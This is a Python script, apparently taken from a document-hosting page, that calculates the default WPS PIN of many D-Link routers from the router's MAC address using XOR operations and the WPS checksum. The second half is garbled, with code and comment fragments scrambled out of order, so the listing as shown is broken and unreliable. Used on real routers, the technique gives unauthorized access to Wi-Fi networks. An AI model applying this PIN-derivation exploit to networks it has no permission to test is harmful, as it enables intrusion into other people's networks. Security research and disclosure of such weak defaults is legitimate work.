You are on page 1of 2

#!

/usr/bin/env python
#
# Calculates the default WPS pin from the BSSID/MAC of many D-Link routers/APs.
#
# Craig Heffner
# Tactical Network Solutions

class WPSException(Exception):
pass

class WPS(object):

def checksum(self, pin):
'''
Standard WPS checksum algorithm.

@pin - A 7 digit pin to calculate the checksum for.

Returns the checksum value.
'''
accum = 0

while pin:
accum += (3 * (pin % 10))
pin = int(pin / 10)
accum += (pin % 10)
pin = int(pin / 10)

return ((10 - accum % 10) % 10)

class DLink(object):

def __init__(self):
self.wps = WPS()

def __mac2nic(self, mac):
'''
Parses out the NIC portion of an ASCII MAC address.

@mac_address - An ASCII string MAC address or NIC,
with or without delimiters.

Returns the NIC portion of the MAC address as an int.
'''
mac = mac.replace(':', '').replace('-', '')

if len(mac) == 12:
try:
nic = int(mac[6:], 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac[6:])
elif len(mac) == 6:
try:
nic = int(mac, 16)
except ValueError as e:
raise WPSException("Invalid NIC: [%s]" % mac)
else:
raise WPSException("Invalid MAC address: [%s]" % mac)

argv[0]) sys..000 to the pin value.000.wps.exit(1) try: print ("Default pin: %d" % DLink().The MAC address string. @mac . plus a # checksum digit.argv[1] except IndexError: print ("Usage: %s <mac>" % sys. and also means that it won't start with a 0.000. Returns the calculated default WPS pin.000 (i.exit(1) . pin = pin % int(10e6) # If the pin is less than 1.000.e. and at # least 1.999.000. including checksum. 0. hence this adds at most 9. return (pin * 10) + self.000. This guarantees that the pin will be 7 digits # long.__mac2nic(mac) # Do some XOR operations on the NIC pin = nic ^ 0x55AA55 pin = pin ^ (((pin & 0x0F) << 4) + ((pin & 0x0F) << 8) + ((pin & 0x0F) << 12) + ((pin & 0x0F) << 16) + ((pin & 0x0F) << 20)) # The largest possible remainder for any value divided by 10. ''' nic = self. mac): ''' Calculates the default WPS pin from the NIC portion of the MAC address.checksum(pin) if __name__ == '__main__': import sys try: mac = sys. return nic def generate(self. less than 7 digits) if pin < int(10e5): # The largest possible remainder for any value divided by 9 is # 8.000 # is 9. obviously. # The final 8 digit pin is the 7 digit value just computed.generate(mac)) except WPSException as e: print (str(e)) sys. pin += ((pin % 9) * int(10e5)) + int(10e5).999 (7 digits). The smallest possible remainder is.